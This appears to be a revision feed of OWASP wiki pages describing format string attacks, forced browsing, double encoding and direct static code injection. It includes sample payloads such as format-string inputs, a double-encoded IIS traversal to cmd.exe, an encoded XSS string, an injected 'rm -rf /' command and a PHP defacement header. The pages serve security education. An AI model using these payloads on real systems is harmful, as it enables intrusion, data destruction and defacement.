The example has the intention to demonstrate how the application can behave when the format function does not receive the necessary treatments for the validation in the input of format string.&lt;br /&gt;
&lt;br /&gt;
First  it will be shown the application operating with normal behavior and normal inputs, then, the application operating when the attacker input the format string and the resultant behavior.&lt;br /&gt;
&lt;br /&gt;
Below it will be presented the source-code used for the example. &lt;br /&gt;
 #include  &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;stlib.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main (int argc, char **argv)&lt;br /&gt;
 {&lt;br /&gt;
 	char buf [100]&lt;br /&gt;
 	int x = 1&lt;br /&gt;
 	snprintf ( buf, sizeof buf, argv [1] ) ;&lt;br /&gt;
 	buf [ sizeof buf -1 ] = 0&lt;br /&gt;
 	printf ( “Buffer size is: (%d) \nData input: %s \n” , strlen (buf) , buf ) ;&lt;br /&gt;
 	printf ( “X equals: %d/ in hex: %#x\nMemory address for x: (%p) \n” , x, x, &amp;amp;x) ;&lt;br /&gt;
 	return 0 ;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next it will be presented the output that the program supplies when running with expected inputs. In this case the program received the string “Bob” as input and returned it in the output.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (16)&lt;br /&gt;
 Data input : Bob&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
Now  the format string vulnerability will be explored. If the format string parameter “%x %x” is inserted in the input string, when the format function parses the argument, the output will display the name Bob, but instead of showing the %x string, the application will show the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob %x %x”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (27)&lt;br /&gt;
 Data input : Bob bffff 8740&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
The inputs Bob and the format strings parameters will be attributed to the variable buf inside of the code which should take place of the %s in the Data input. So now the printf argument looks like:&lt;br /&gt;
&lt;br /&gt;
 printf ( “Buffer size is: (%d) \n Data input: Bob %x %x \n” , strlen (buf) , buf ) ;&lt;br /&gt;
&lt;br /&gt;
When the application prints the results, the format function will interpret the format strings inputs showing the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
==Example 2==&lt;br /&gt;
'''Denial of Service'''&lt;br /&gt;
&lt;br /&gt;
In this case,  when  an invalid address of memory is requested, normally the program is terminated, taking this as an example in a function:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
The attacker could insert a sequence of format strings, making the program to show the memory address where a lot of other data are stored, then, the attacker increases the possibilities of the program to read an illegal address, crashing the program and  causing its non-availability.&lt;br /&gt;
&lt;br /&gt;
 printf (%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s);&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Internal software developer]]&lt;br /&gt;
&lt;br /&gt;
[[:Category: Outsourced software developer]]&lt;br /&gt;
&lt;br /&gt;
[[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
[[:Category: Outsider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
[[Code Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation ]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://www.webappsec.org/projects/threat/classes/format_string_attack.shtml&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Format_string_attack&lt;br /&gt;
&lt;br /&gt;
*http://seclists.org/bugtraq/2005/Dec/0030.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33093</id>
		<title>Format string attack</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Format_string_attack&amp;diff=33093"/>
				<updated>2008-07-02T11:23:53Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. This way, the attacker could execute code, read the stack or cause segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system.&lt;br /&gt;
   &lt;br /&gt;
To understand the attack it’s necessary to explain the components that constitute it. They are:&lt;br /&gt;
•The '''Format Function''' is an ANSI C conversion function, like '''printf, fprintf''', which converts primitive variable of the programming language in a human readable string representation. &lt;br /&gt;
&lt;br /&gt;
•The '''Format String''' is the argument of the Format Function and is an ASCII Z string which contains text and format parameters, like: '''printf (&amp;quot;The magic number is: %d\n&amp;quot;, 1911)''';&lt;br /&gt;
&lt;br /&gt;
•The '''Format String Parameter''', like '''%x %s''' defines the type of conversion of the format function.&lt;br /&gt;
&lt;br /&gt;
The attack could be executed when the application doesn’t validate properly the submitted input. In this case if a Format Strings parameter, like %x, is inserted in the posted data,  the string is parsed by the Format Function the conversion specified in the parameters is executed.   However, the Format Function is expecting more arguments as input, and if these arguments are not supplied, the function could read or write the stack.&lt;br /&gt;
&lt;br /&gt;
This way is possible to define a well crafted input that could change the behavior of the format function permitting the attacker to cause deny of service or to execute arbitrary commands.&lt;br /&gt;
&lt;br /&gt;
If the application uses Format Functions in the source-code which is able to interpret formatting characters, the attacker could explore the vulnerability inserting formatting characters in a form of the website. For example, the '''printf''' function is used to print the username inserted in some fields of the page, the website could be vulnerable to this kind of attack, as showed below:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
Following some examples in the table 2 of Format Functions, which if not  treated can expose the application to the Format String Attack.&lt;br /&gt;
&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Format function&lt;br /&gt;
!Description&lt;br /&gt;
|-&lt;br /&gt;
|fprint&lt;br /&gt;
|Writes the printf to a file&lt;br /&gt;
|-&lt;br /&gt;
|printf&lt;br /&gt;
|Output a formatted string&lt;br /&gt;
|-&lt;br /&gt;
|sprintf&lt;br /&gt;
|Prints into a string&lt;br /&gt;
|-&lt;br /&gt;
|snprintf&lt;br /&gt;
|Prints into a string checking the length&lt;br /&gt;
|-&lt;br /&gt;
|vfprintf&lt;br /&gt;
|Prints the a va_arg structure to a file&lt;br /&gt;
|-&lt;br /&gt;
|vprintf&lt;br /&gt;
|Prints the va_arg structure to stdout&lt;br /&gt;
|-&lt;br /&gt;
|vsprintf&lt;br /&gt;
|Prints the va_arg to a string&lt;br /&gt;
|-&lt;br /&gt;
|vsnprintf&lt;br /&gt;
|Prints the va_arg to a string checking the length&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
'''Table 1. Format Functions'''&lt;br /&gt;
&lt;br /&gt;
Below there are some format parameters which can be used and its consequences:&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%x&amp;quot; Read data from the stack&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%s&amp;quot; Read character strings from the process' memory&lt;br /&gt;
&lt;br /&gt;
•&amp;quot;%n&amp;quot; Write an integer to locations in the process' memory&lt;br /&gt;
&lt;br /&gt;
To discover whether  the application is vulnerable to this type of attack, it´s necessary to verify if the format function accepts and parses the format string parameters show in the table 2.&lt;br /&gt;
&lt;br /&gt;
Format strings parameters:&lt;br /&gt;
{|border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;20&amp;quot; cellspacing=&amp;quot;0&amp;quot;&lt;br /&gt;
!Parameters&lt;br /&gt;
!Output&lt;br /&gt;
!Passed as&lt;br /&gt;
|-&lt;br /&gt;
|%%&lt;br /&gt;
|% character (literal)&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%p&lt;br /&gt;
|External representation of a pointer to void&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%d&lt;br /&gt;
|Decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%c&lt;br /&gt;
|Character&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|%u&lt;br /&gt;
|Unsigned decimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%x&lt;br /&gt;
|Hexadecimal&lt;br /&gt;
|Value&lt;br /&gt;
|-&lt;br /&gt;
|%s&lt;br /&gt;
|String&lt;br /&gt;
|Reference&lt;br /&gt;
|-&lt;br /&gt;
|%n&lt;br /&gt;
|Writes the number of characters into a pointer&lt;br /&gt;
|Reference&lt;br /&gt;
|}&lt;br /&gt;
'''Table 2. Common parameters use to Format String Attack.''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example1===&lt;br /&gt;
The example has the intention to demonstrate how the application can behave when the format function does not receive the necessary treatments for the validation in the input of format string.&lt;br /&gt;
&lt;br /&gt;
First  it will be shown the application operating with normal behavior and normal inputs, then, the application operating when the attacker input the format string and the resultant behavior.&lt;br /&gt;
&lt;br /&gt;
Below it will be presented the source-code used for the example. &lt;br /&gt;
 #include  &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;string.h&amp;gt;&lt;br /&gt;
 #include  &amp;lt;stlib.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main (int argc, char **argv)&lt;br /&gt;
 {&lt;br /&gt;
 	char buf [100]&lt;br /&gt;
 	int x = 1&lt;br /&gt;
 	snprintf ( buf, sizeof buf, argv [1] ) ;&lt;br /&gt;
 	buf [ sizeof buf -1 ] = 0&lt;br /&gt;
 	printf ( “Buffer size is: (%d) \nData input: %s \n” , strlen (buf) , buf ) ;&lt;br /&gt;
 	printf ( “X equals: %d/ in hex: %#x\nMemory address for x: (%p) \n” , x, x, &amp;amp;x) ;&lt;br /&gt;
 	return 0 ;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next it will be presented the output that the program supplies when running with expected inputs. In this case the program received the string “Bob” as input and returned it in the output.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (16)&lt;br /&gt;
 Data input : Bob&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
Now  the format string vulnerability will be explored. If the format string parameter “%x %x” is inserted in the input string, when the format function parses the argument, the output will display the name Bob, but instead of showing the %x string, the application will show the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
 ./formattest “Bob %x %x”&lt;br /&gt;
&lt;br /&gt;
 Buffer size is (27)&lt;br /&gt;
 Data input : Bob bffff 8740&lt;br /&gt;
 X equals: 1/ in hex: 0x1&lt;br /&gt;
 Memory address for x (0xbffff73c)&lt;br /&gt;
&lt;br /&gt;
The inputs Bob and the format strings parameters will be attributed to the variable buf inside of the code which should take place of the %s in the Data input. So now the printf argument looks like:&lt;br /&gt;
&lt;br /&gt;
 printf ( “Buffer size is: (%d) \n Data input: Bob %x %x \n” , strlen (buf) , buf ) ;&lt;br /&gt;
&lt;br /&gt;
When the application prints the results, the format function will interpret the format strings inputs showing the content of a memory address.&lt;br /&gt;
&lt;br /&gt;
==Example 2==&lt;br /&gt;
'''Denial of Service'''&lt;br /&gt;
&lt;br /&gt;
In this case,  when  an invalid address of memory is requested, normally the program is terminated, taking this as an example in a function:&lt;br /&gt;
&lt;br /&gt;
 printf (userName);&lt;br /&gt;
&lt;br /&gt;
The attacker could insert a sequence of format strings, making the program to show the memory address where a lot of other data are stored, then, the attacker increases the possibilities of the program to read an illegal address, crashing the program and  causing its non-availability.&lt;br /&gt;
&lt;br /&gt;
 printf (%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s);&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Internal software developer]]&lt;br /&gt;
&lt;br /&gt;
[[:Category: Outsourced software developer]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
[[Code Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[Buffer Overflow]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation ]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://www.webappsec.org/projects/threat/classes/format_string_attack.shtml&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/Format_string_attack&lt;br /&gt;
&lt;br /&gt;
*http://seclists.org/bugtraq/2005/Dec/0030.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Forced_browsing&amp;diff=33090</id>
		<title>Forced browsing</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Forced_browsing&amp;diff=33090"/>
				<updated>2008-07-02T11:17:57Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Forced browsing is an attack that’s aim to enumerate and access resources that are not referenced by the application, but still can be accessible.&lt;br /&gt;
&lt;br /&gt;
An attacker can use brute force techniques to search for unlinked contents in domain directory, such as temporary directories and files, old backup and configuration files. These resources may store sensitive information about web applications and operational system, such as source code, credentials, internal network addressing, and so on, thus being considered a valuable resource for intruders.&lt;br /&gt;
 &lt;br /&gt;
This attack should be performed manually when the application index directories and pages based on number generation or predictable values,  or using automated  tools for common files and directories names.&lt;br /&gt;
&lt;br /&gt;
This attack is also known as Predictable Resource Location, File Enumeration, Directory Enumeration, and Resource Enumeration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
This example presents a technique of Predictable Resource Location attack, which is based on a manual and oriented identification of resources by modifying URL parameters. &lt;br /&gt;
The user1 wants to check his on-line agenda that is done thru the following URL: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; www.site-example.com/users/calendar.php/user1/20070715 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the URL, it is possible to identify the username (“user1”) and the date (mm/dd/yyyy).If the user attempts to make a forced browsing attack, he could guess another user’s agenda by predicting user identification and date, as follow: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; www.site-example.com/users/calendar.php/user6/20070716 &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The attack can be considered successful upon accessing other user agenda. A bad implementation of the authorization mechanism also collaborated for this attack success.&lt;br /&gt;
&lt;br /&gt;
===Example 2 ===&lt;br /&gt;
This example presents how to perform an attack of static directory and file enumeration using an automated tool.&lt;br /&gt;
&lt;br /&gt;
A scanning tool, like [http://www.cirt.net/code/nikto.shtml | Nikto], has the ability to search for existent files and directories based on a database of well-know resources, such as:&lt;br /&gt;
&lt;br /&gt;
 /system/&lt;br /&gt;
 /password/&lt;br /&gt;
 /logs/&lt;br /&gt;
 /admin/&lt;br /&gt;
 /test/&lt;br /&gt;
&lt;br /&gt;
When the tool receives and “HTTP 200” message it means that such resource was found and should be manually inspected for valuable information. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Path Traversal]]&lt;br /&gt;
*[[Path Manipulation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Access Control Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Access Control]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*Forceful Browsing – Imperva Application Data Security and Compliance -  http://www.imperva.com/application_defense_center/glossary/forceful_browsing.html&lt;br /&gt;
&lt;br /&gt;
*Parameter fuzzing and forced browsing – WebAppSec - http://seclists.org/webappsec/2006/q3/0182.html&lt;br /&gt;
&lt;br /&gt;
*http://www.webappsec.org/projects/threat/classes/predictable_resource_location.shtml&lt;br /&gt;
&lt;br /&gt;
*http://cwe.mitre.org/data/definitions/425.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[category:Resource Manipulation]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Double_Encoding&amp;diff=33089</id>
		<title>Double Encoding</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Double_Encoding&amp;diff=33089"/>
				<updated>2008-07-02T11:16:39Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack technique consists of encode user request parameters twice in hexadecimal format in order to bypass security controls or cause unexpected behavior from application. It's possible because the webserver accept and process client requests in many encoded forms&lt;br /&gt;
&lt;br /&gt;
By using double encoding it’s possible to bypass security filters that only decode user input once, being. the second decoding process executed by backend platform or modules that properly handle encoded data but don't have the corresponding security checks in place.&lt;br /&gt;
 &lt;br /&gt;
Attackers can inject double encoding in pathnames or query strings to bypass authentication schema and security filters in use by web application.&lt;br /&gt;
&lt;br /&gt;
There are some common characters sets that are used in Web applications attacks. For example, in directory traversal attacks, it uses “../” (dot-dot-slash) , while in XSS attacks, it uses “&amp;lt;” and “&amp;gt;” characters. These characters give hexadecimal representation that differs from normal data. &lt;br /&gt;
&lt;br /&gt;
For example, “../” (dot-dot-slash) characters represents %2E%2E%2f in hexadecimal representation. When the % symbol is encoded again, its representation in hexadecimal code is %25. The resultant from double encoding process ”../”(dot-dot-slash) would be %252E%252E%252F:&lt;br /&gt;
 &lt;br /&gt;
 Hexadecimal encode of “../” represents &amp;quot;%2E%2E%2f&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 Then encoding the “%” represents &amp;quot;%25&amp;quot;&lt;br /&gt;
&lt;br /&gt;
 Double encoding of “../” represents &amp;quot;%252E%252E%252F&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1 ===&lt;br /&gt;
This example presents an old well-know vulnerability found on IIS versions 4.0 and 5.0, where an attacker could bypass authorization schema and gain access to any file on the same drive as the web root directory due an issue on decoding mechanism. For more details about folder traversal vulnerability, see [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0333  CVE 2001-0333]. &lt;br /&gt;
&lt;br /&gt;
In this scenario, the victim has an published executable directory (e.g. cgi) that’s stored on the same partition of Windows system folder. An attacker could execute arbitrary commands on the web server by submitting the following URL: &lt;br /&gt;
&lt;br /&gt;
Original URL:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, the application uses a security check filter that refuses requests containing characters like “../”. By double encoding the URL, it’s possible to bypass security the filter:&lt;br /&gt;
&lt;br /&gt;
Double encoded URL:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\ &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2 ===&lt;br /&gt;
A double encoding URL can be used to exploit XSS attack in order to bypass a built-in XSS detection module. Depending on implementation, the first decoding process is performed by HTTP protocol and the resultant encoded URL will bypass XSS filter, since it has no mechanisms to improve detection. A simple example XSS would be:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This malicious code could be inserted into a vulnerable application,  resulting in a alert window with message “XSS”. However the web application can have a character filter such as “&amp;lt; “, “&amp;gt;” and “/”, since they are used to perform web application attacks. The attacker could use double encoding technique to bypass the filter and exploit client’s session. The encoding process for this Java script is:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt;&amp;lt;b&amp;gt; Char &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt;&amp;lt;b&amp;gt; Hex encode &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt;&amp;lt;b&amp;gt; Then encoding '%' &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt;&amp;lt;b&amp;gt; Double encode &amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “&amp;lt;” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%3C” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%253C” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “/” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%2F” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25”  &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%252F” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=30&amp;gt; “&amp;gt;” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=40&amp;gt; “%3E” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%25”  &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td colspan=50%&amp;gt; “%253E” &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finally, the malicious double encoding code is:&lt;br /&gt;
&lt;br /&gt;
 %253Cscript%253Ealert('XSS')%253C%252Fscript%253E&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Insider]]&lt;br /&gt;
&lt;br /&gt;
[[:Category: Staff]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[XSS Attacks]]&lt;br /&gt;
*[[Path Traversal]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category: Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1945 &lt;br /&gt;
&lt;br /&gt;
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0054&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Resource Manipulation]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33088</id>
		<title>Direct Static Code Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Static_Code_Injection&amp;diff=33088"/>
				<updated>2008-07-02T11:15:44Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Threat Agents */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Direct Static Code Injection attack consists on injecting code directly onto the resource used by application while processing a user request. This is normally performed by tampering libraries and template files which are created based on user input without proper data sanitization. &lt;br /&gt;
Upon a user request to the modified resource, the actions defined on it will be executed at server side in the context of web server process.&lt;br /&gt;
&lt;br /&gt;
[[Server-Side Includes (SSI) Injection | Server Side Includes]] is considered a type of direct static code injection. It should not be confused with other types of code injection, like [[Cross Site Scripting | XSS]] (“Cross Site Scripting” or “HTML injection”) where the code is executed on client side.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
This is a simple example of exploitation of CGISCRIPT.NET csSearch 2.3 vulnerability, published on Bugtraq ID: 4368.&lt;br /&gt;
By requesting the following URL to the server, it’s possible to execute commands defined on ‘’’’setup’’’ variable.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
 csSearch.cgi?command=savesetup&amp;amp;setup=''PERL_CODE_HERE''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For the classical example, it can be used the following command to remove all files from “/” folder:&lt;br /&gt;
csSearch.cgi?command=savesetup&amp;amp;setup=`rm%20-rf%20/`&lt;br /&gt;
&lt;br /&gt;
Note that the above command must be encoded in order to be accepted.	&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
This example exploits a vulnerability on Ultimate PHP Board (UPB) 1.9 (CVE-2003-0395), which allows an attacker to execute random php code. This happens because some user variables, like IP address and User-Agent, are stored in a file that is used by admin_iplog.php page to show user statistics. When an administrator browses this page, the previously injected code by a malicious request is executed. &lt;br /&gt;
The following example stores a malicious PHP code that will deface index.html page when administrator browses admin_iplog.php.&lt;br /&gt;
 GET /board/index.php HTTP/1.0&lt;br /&gt;
 User-Agent: &amp;lt;? system( &amp;quot;echo \'hacked\' &amp;gt; ../index.html&amp;quot; ); ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
[[:Category:Staff]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Server-Side Includes (SSI) Injection | Server Side Includes]]&lt;br /&gt;
*[[ Direct Dynamic Code Evaluation ('Eval Injection')]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
